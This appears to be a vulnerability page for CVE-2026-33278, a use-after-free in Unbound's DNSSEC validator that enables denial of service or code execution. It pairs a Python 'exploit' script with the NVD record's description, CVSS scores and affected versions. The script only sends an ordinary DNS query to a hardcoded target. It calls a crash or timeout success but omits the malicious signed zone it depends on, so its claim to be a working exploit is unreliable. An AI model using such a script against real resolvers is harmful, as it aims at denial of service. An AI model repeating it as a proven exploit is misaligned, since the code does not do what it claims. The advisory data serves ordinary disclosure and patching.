CVE-2026-33278

import dns.message import dns.query # Target Unbound Server (Vulnerable) target_ip = "192.168.1.100" target_port = 53 # The malicious domain configured to exhaust NSEC3 budget # Note: The zone must be signed and configured to trigger NSEC3 iteration limits malicious_domain = "poc.example.com" def send_exploit_query(): print(f"[*] Sending exploit query to {target_ip} for domain {malicious_domain}...") # Create a DNS query for the malicious domain query = dns.message.make_query(malicious_domain, 'A') try: # Send UDP query to the target response = dns.query.udp(query, target_ip, target_port, timeout=5) print(f"[+] Response received (Rcode: {response.rcode()})") print("[!] If the service crashed, the exploit was successful.") except dns.exception.Timeout: print("[-] Request timed out. The service might have crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit_query()

{"cve": {"id": "CVE-2026-33278", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:26.530", "lastModified": "2026-05-20T22:49:23.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLnet Labs Unbound 1.19.1 up to and including version 1.25.0 has a vulnerability in the DNSSEC validator that enables denial of service and possible remote code execution as a result of deep copying a data structure and erroneously overwriting a destination pointer. An adversary can exploit the vulnerability by controlling a malicious signed zone and querying a vulnerable Unbound. When DS sub-queries need to suspend validation due to NSEC3 computational budget exhaustion (introduced in Unbound 1.19.1), Unbound deep-copies response messages to preserve them across memory region teardown. A struct-assignment bug overwrites the destination's pointer with the source's pointer. After the sub-query region is freed, the resumed validator dereferences this dangling pointer, triggering a crash or potentially enabling arbitrary code execution. Unbound 1.25.1 contains a patch with a fix to preserve the correct pointer when deep copying the data structure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Red", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}, {"lang": "en", "value": "CWE-672"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nlnetlabs:unbound:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.19.1", "versionEndExcluding": "1.25.1", "matchCriteriaId": "5C330C7D-8CBA-407E-9C85-8BB7D5A97797"}]}]}], "references": [{"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-33278.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}